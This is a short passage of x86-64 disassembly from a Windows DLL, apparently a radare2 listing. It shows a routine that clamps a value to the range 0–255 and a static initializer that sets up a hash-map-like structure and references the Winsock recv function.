mov edx, dword [r8]
subss xmm6, dword [rcx + 0x18]
mulss xmm6, dword [0x1800463a4]
test sil, sil
je 0x180052fc8
cmp edx, 0xff
jge 0x180052fde
movd xmm0, edx
cvtdq2ps xmm0, xmm0
addss xmm0, xmm6
jmp 0x180052fd7
test edx, edx
jle 0x180052fde
movd xmm0, edx
cvtdq2ps xmm0, xmm0
subss xmm0, xmm6
cvttss2si edx, xmm0
mov dword [r8], edx
movaps xmm6, xmmword [rsp + 0x50]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
lea rcx, [rsp + 0x20]
mov rsi, qword [r11 + 0x20]
lea rax, [rsp + 0x28]
mov rdi, qword [r11 + 0x28]
test edx, edx
cmovns rcx, r8
cmp edx, 0xff
cmovle rax, rcx
mov eax, dword [rax]
mov dword [r8], eax
mov rsp, r11
pop r14
ret
lea rcx, [0x1802eb900]
call fcn.1800c8ab4
cmp dword [0x1802eb900], 0xffffffff
jne 0x180052ea6
mov ecx, 0x20
call fcn.1800c89d0
xorps xmm0, xmm0
lea rcx, [0x1802eb8d8]
mov r8, rax
mov edx, reloc.WS2_32.dll_recv
mov qword [rax], rax
mov qword [rax + 8], rax
and qword [0x1802eb8d8], 0
mov qword [0x1802eb8c8], rax
movdqa xmmword [0x1802eb8e0], xmm0
mov qword [0x1802eb8f0], 7
mov qword [0x1802eb8f8], 8
mov dword [0x1802eb8c0], 0x3f800000
call fcn.180053420
lea rcx, [0x180134ac0]
call fcn.1800c8e84
lea rcx, [0x1802eb900]
call fcn.1800c8a48
jmp 0x180052ea6